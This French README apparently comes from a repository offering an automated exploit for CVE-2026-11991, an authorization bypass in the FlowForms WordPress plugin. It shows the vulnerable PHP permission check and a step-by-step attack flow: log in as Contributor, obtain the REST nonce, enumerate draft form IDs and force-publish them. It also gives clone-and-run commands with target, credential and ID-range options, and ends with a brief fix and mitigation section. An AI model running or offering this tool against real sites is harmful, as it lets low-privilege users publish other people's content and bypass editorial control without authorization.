
Exploit automatisé pour CVE-2026-11991, un contournement d'autorisation dans le plugin WordPress FlowForms permettant aux utilisateurs Contributor+ de publier n'importe quel formulaire en brouillon via des requêtes REST API spécialement conçues.
Contournement d'autorisation authentifié (Contributeur+) permettant de publier n'importe quel formulaire brouillon dans FlowForms ≤ 1.1.1
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2026-11991 |
| Score CVSS | 6.2 — Moyen |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Contournement d'autorisation via une clé contrôlée par l'utilisateur) |
| Produit | FlowForms — Extension WordPress de création de formulaires conversationnels |
| Versions concernées | Toutes les versions jusqu'à la 1.1.1 inclus |
| Corrigé dans | 1.1.2 |
| Chercheur | Phantom Hat |
Étude de cas complète en boîte blanche avec analyse du code source, traçage des flux d'entrée et comparaison des correctifs :
FlowForms expose une API REST sous l'espace de noms flowforms/v1. Le point de terminaison de publication :
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
accepte un {id} contrôlé par l'utilisateur dans le chemin de l'URL et fait passer un formulaire brouillon en ligne sur le site.
Le permission_callback pour la route /publish n'effectue qu'une vérification générique de capacité :
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts est une capacité détenue par les Contributeurs — un rôle que WordPress restreint intentionnellement en matière de publication de contenu. Il n'existe aucune vérification de propriété par rapport au form_id cible. Tout utilisateur authentifié peut publier n'importe quel formulaire brouillon sur le site.
Attaquant (Contributeur) API REST FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) S'authentifier en tant que Contributeur
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Récupérer le nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Énumérer les formulaires brouillons
│<─ "Form Not Published" ───────────│ (réponse non authentifiée)
│ │
│── POST /flowforms/v1/forms/ │ (4) Déclencher la publication sur
│ {id}/publish ─────────────>│ n'importe quel ID de formulaire brouillon
│ │ ← aucune vérification de propriétaire
│<─ { "success": true } ────────────│
│ │
│ Le formulaire est maintenant │ (5) Le brouillon contourne
│ EN LIGNE sur le site │ le flux de travail éditorial
│ sans approbation éditoriale │
Contributeur sur le site ciblegit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Option | Description | Requis |
|---|---|---|
--url | URL WordPress cible | ✅ |
--user | Nom d'utilisateur WordPress (Contributeur+) | ✅ |
--password | Mot de passe WordPress | ✅ |
--num_forms | Nombre d'ID de formulaires à énumérer | ✅ |
--id_start | ID de formulaire de départ pour l'énumération | ✅ |
--proxy | URL du proxy (ex. http://127.0.0.1:8080) | ❌ |
L'exploit effectue trois étapes automatisées :
Étape 1 — Authentification
Se connecte en tant qu'attaquant (Contributeur) et récupère un nonce REST API valide depuis wp-admin.
Étape 2 — Énumération des brouillons
Analyse GET /flowform/{id} sur la plage d'ID spécifiée. Les formulaires renvoyant "Form Not Published" sont collectés comme cibles — ce sont des formulaires brouillons dont l'attaquant n'est pas propriétaire.
Étape 3 — Publication
Envoie POST /flowforms/v1/forms/{id}/publish avec le nonce de l'attaquant. Le point de terminaison accepte la requête, fait passer le brouillon en ligne et rend le formulaire actif — sans aucune vérification d'autorisation sur la propriété.
| Action | Détails |
|---|---|
| Correctif | Remplacer la vérification générique edit_posts par current_user_can('edit_post', $form_id) — le second argument lie la vérification de capacité à l'objet post spécifique, appliquant les règles de propriété de WordPress |
| Atténuation | En attendant le correctif, restreindre les rôles Contributeur et Auteur si l'extension est active |
// VULNÉRABLE
'permission_callback' => fn() => current_user_can('edit_posts'),